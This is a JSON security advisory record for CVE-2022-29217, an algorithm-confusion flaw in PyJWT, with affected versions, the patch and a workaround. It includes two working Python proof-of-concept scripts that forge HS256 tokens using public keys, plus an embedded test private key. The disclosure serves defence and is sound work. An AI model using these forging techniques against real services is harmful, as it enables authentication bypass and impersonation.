1 line
8.1 KiB
JSON
1 line
8.1 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-ffqj-6fqr-9h24","published":"2022-05-24T22:17:27Z","modified":"2024-10-15T16:27:42.751871Z","aliases":["CVE-2022-29217","PYSEC-2022-202"],"summary":"Key confusion through non-blocklisted public key formats","details":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n> PyJWT supports multiple different JWT signing algorithms. With JWT, an \n> attacker submitting the JWT token can choose the used signing algorithm.\n> \n> The PyJWT library requires that the application chooses what algorithms \n> are supported. The application can specify \n> \"jwt.algorithms.get_default_algorithms()\" to get support for all \n> algorithms. They can also specify a single one of them (which is the \n> usual use case if calling jwt.decode directly. However, if calling \n> jwt.decode in a helper function, all algorithms might be enabled.)\n> \n> For example, if the user chooses \"none\" algorithm and the JWT checker \n> supports that, there will be no signature checking. This is a common \n> security issue with some JWT implementations.\n> \n> PyJWT combats this by requiring that the if the \"none\" algorithm is \n> used, the key has to be empty. As the key is given by the application \n> running the checker, attacker cannot force \"none\" cipher to be used.\n> \n> Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n> not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n> if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n> attacker can just use the publicly known public key to sign the token \n> and the checker would use the same key to verify.\n> \n> From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n> With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n> example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = \nprivate_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, \nencryption_algorithm=serialization.NoEncryption())\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = \nprivate_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)\n\n# Making a good jwt token that should work by signing it with the \nprivate key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver to think that the \npublic key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if \nthey specify ed25519 public key. However, if other algorithms are used, \nthe POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n# invalid_strings = [\n# b\"-----BEGIN PUBLIC KEY-----\",\n# b\"-----BEGIN CERTIFICATE-----\",\n# b\"-----BEGIN RSA PUBLIC KEY-----\",\n# b\"ssh-rsa\",\n# ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in \njwt/algorithms.py:\n#\n# if \"-----BEGIN PUBLIC\" in str_key:\n# return load_pem_public_key(key)\n# if \"-----BEGIN PRIVATE\" in str_key:\n# return load_pem_private_key(key, password=None)\n# if str_key[0:4] == \"ssh-\":\n# return load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n print(\"POC Successfull\")\nelse:\n print(\"POC Failed\")\n```\n\n> The issue is not that big as \n> algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n> However, with quick googling, this seems to be used in some cases at \n> least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email José Padilla: pyjwt at jpadilla dot com\n","affected":[{"package":{"name":"pyjwt","ecosystem":"PyPI","purl":"pkg:pypi/pyjwt"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.5.0"},{"fixed":"2.4.0"}]}],"versions":["1.5.0","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.3","1.6.4","1.7.0","1.7.1","2.0.0","2.0.0a1","2.0.0a2","2.0.1","2.1.0","2.2.0","2.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-ffqj-6fqr-9h24/GHSA-ffqj-6fqr-9h24.json"}}],"references":[{"type":"WEB","url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-29217"},{"type":"WEB","url":"https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"},{"type":"PACKAGE","url":"https://github.com/jpadilla/pyjwt"},{"type":"WEB","url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO"}],"database_specific":{"cwe_ids":["CWE-327"],"github_reviewed":true,"github_reviewed_at":"2022-05-24T22:17:27Z","nvd_published_at":"2022-05-24T15:15:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]} |